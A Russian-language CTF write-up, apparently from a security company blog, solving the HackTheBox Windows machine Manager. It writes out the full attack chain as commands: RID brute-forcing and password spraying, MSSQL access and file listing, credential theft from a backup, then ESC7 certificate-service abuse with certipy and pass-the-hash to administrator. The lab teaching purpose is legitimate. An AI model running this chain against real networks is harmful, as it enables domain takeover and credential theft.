Приветствую вас, дорогие читатели, на связи компания AP Security. Сегодня мы с вами пройдем Windows-машину Manager на HackTheBox.
![](https://habrastorage.org/getpro/habr/upload_files/4ce/744/777/4ce744777a47ab527db6f06e1ee6c233.png)
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.
Сканирование и разведка
Для обнаружения активных сервисов просканируем машину с помощью Nmap:
nmap -sC -sV -p- -T4 10.10.11.236
![](https://habrastorage.org/getpro/habr/upload_files/4e1/b2f/a1f/4e1b2fa1fea7861d4fc25163778b2d78.png)
![](https://habrastorage.org/getpro/habr/upload_files/786/eb1/900/786eb190006ad01108d552aa759d60f1.png)
Попробуем определить активных пользователей с помощью CrackMapExec, используя опцию --rid-brute
:
crackmapexec smb 10.10.11.236 -u anonymous -p ' ' --rid-brute
![](https://habrastorage.org/getpro/habr/upload_files/fa2/2f9/50f/fa22f950fe7c6b6f8c9366f6e6e5c02f.png)
В результате получим список пользователей, который можно применить для дальнейшего развития вектора атаки. Список сохраним в отдельный файл, приведем к нижнему регистру и попробуем поспреить пароли на различные сервисы. К счастью у нас это получится, ведь CrackMapExec поддерживает работу с большим количеством протоколов Microsoft.
crackmapexec smb 10.10.11.236 -u users.txt -p users.txt
crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt
Обнаружим, что у пользователя operator пароль совпадает с юзернеймом для службы MsSQL:
![](https://habrastorage.org/getpro/habr/upload_files/1ae/bb5/415/1aebb54156b7038964d0ad839e8f00ef.png)
Точка входа
Имея учетные данные к mssql, мы можем воспользоваться модулем mssqlclient из утилиты Impacket для подключения к базе данных:
impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 -windows-auth
![](https://habrastorage.org/getpro/habr/upload_files/8c0/53d/5cd/8c053d5cdd4dbaddc7702fd1dc3c218d.png)
Итак, мы успешно получили удаленный доступ к базе данных! Попробуем выполнить следующую команду для просмотра корневой папки:
exec xp_dirtree 'C:\inetpub\wwroot',1,1;
У процедуры xp_dirtree
три параметра:
directory – путь для получения списка папок и файлов
depth – сколько уровней вложенных папок следует сканировать (по умолчанию 0 – все подпапки)
file – кроме списка папок возвращать список файлов (по умолчанию 0 – отображать только папки)
Данная команда выводит список папок и файлов в указанном пути.
Вы можете подробнее ознакомиться с методологией тестирования на проникновения MsSQL на HackTricks.
![](https://habrastorage.org/getpro/habr/upload_files/0f4/382/dad/0f4382dad78515e1f71629e6a13a6322.png)
Хм, любопытный архив с названием website-backup. Выкачаем его с помощью wget
:
wget 10.10.11.236/website-backup-27-07-23-old.zip
![](https://habrastorage.org/getpro/habr/upload_files/679/c61/805/679c6180519b5fdb9a24520692172260.png)
Распакуем архив и найдем там файл .old-conf.xml. Просмотрим его содержимое на наличие какой-либо интересной нам информации:
![](https://habrastorage.org/getpro/habr/upload_files/ada/fa3/99b/adafa399bb17642a50f5d20bf28530ca.png)
Отлично, мы получили учетные данные пользователя raven. Попробуем креды для подключения к машине с помощью утилиты Evil-WinRM:
evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
![](https://habrastorage.org/getpro/habr/upload_files/2b5/9f6/9d0/2b59f69d02ffa218df2254acb9c977f3.png)
Здесь же в директории C:\Users\Raven\Desktop
будет лежать файл с флагом user.txt
Повышение привилегий
Посмотрим информацию о пользователе с помощью команды whoami \all
![](https://habrastorage.org/getpro/habr/upload_files/0f3/da9/afc/0f3da9afcd7aeac7ae156f4864ba6705.png)
Пользователь состоит в группе BUILTIN\Certificate Service
. Воспользуемся утилитой certipy-ad для поиска уязвимостей в службе сертификатов:
certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
![](https://habrastorage.org/getpro/habr/upload_files/078/b20/ce1/078b20ce11cec4a327aa7fb5ff36a0eb.png)
Просмотрим сохраненный файл на предмет обнаружения уязвимостей:
![](https://habrastorage.org/getpro/habr/upload_files/1b8/e9b/2d0/1b8e9b2d0b3cd03537ebf487463de31e.png)
Служба сертификатов уязвима к атаке ESC7. В данной службе Active Directory, есть шаблон, который по умолчанию уязвим к ESC1, — SubCA, но выпускать его могут лишь пользователи, входящие в группу Domain Admins.
ESC7 возможен из-за того, что запросы, которые завершились неудачей, сохраняются и могут быть запрошены повторно. Пользователи, имеющие права Manage CA и Manage Certificates на центр сертификации, могут перевыполнять неудачные запросы на выпуск сертификата и выпускать SubCA на любого пользователя.
Первым делом синхронизируем наше время с контроллером домена:
sudo rdate -n 10.10.11.236
![](https://habrastorage.org/getpro/habr/upload_files/d88/732/f6b/d88732f6b85d8239bfd988ea68427d72.png)
Чтобы перевыполнять неудачные запросы, как я указал выше, нам нужно иметь права Manage CA и Manage Certificates. Мы можем предоставить себе это право, добавив нашего пользователя в качестве нового сотрудника:
certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
![](https://habrastorage.org/getpro/habr/upload_files/ffd/758/64c/ffd75864c3707bc7eaf516930e5d74cb.png)
Шаблон SubCA может быть включен на центре сертификатов с помощью параметра-enable-template
:
certipy ca -ca 'manager-DC01-CA' -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -enable-template 'SubCA'
Далее активируем сам SubCA:
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb
![](https://habrastorage.org/getpro/habr/upload_files/aa9/f59/fba/aa9f59fba7b6c7642767a017da18fe80.png)
Запросим сертификат на основе шаблона SubCA. Запрос будет отклонен, но мы сохраним себе закрытый ключ и запишем идентификатор запроса:
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb
![](https://habrastorage.org/getpro/habr/upload_files/03d/015/1fc/03d0151fcea0a7bb19ad6e370e269045.png)
С помощью команд Manage CA и Manage Certificates мы можем выпустить запрос на неудачный сертификат с помощью команды ca
и параметра-issue-request
:
certipy-ad ca -ca 'manager-DC01-CA' -issue-request 18 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
![](https://habrastorage.org/getpro/habr/upload_files/aef/c44/edf/aefc44edfdc3c044253999be2b58ce0f.png)
Сохранив сертификат, выпустим его на пользователя administrator:
certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 - retrieve 18
![](https://habrastorage.org/getpro/habr/upload_files/09b/4d7/900/09b4d79001044234543bb1e65fac6bfa.png)
Получив сертификат, пройдем аутентификацию и запросим новый хеш пароля для нашего порльзователя:
certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
![](https://habrastorage.org/getpro/habr/upload_files/c09/76c/1c6/c0976c1c6f68a007773cc88d9c8cd27e.png)
Получив хеш пароля, подключимся к машине, воспользовавшись утилитой PsExec:
impacket-psexec manager.htb/administrator@manager.htb -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef -dc-ip 10.10.11.236
![](https://habrastorage.org/getpro/habr/upload_files/abe/137/8b2/abe1378b20300eb6b7ff7aea61147c7b.png)
Машина пройдена!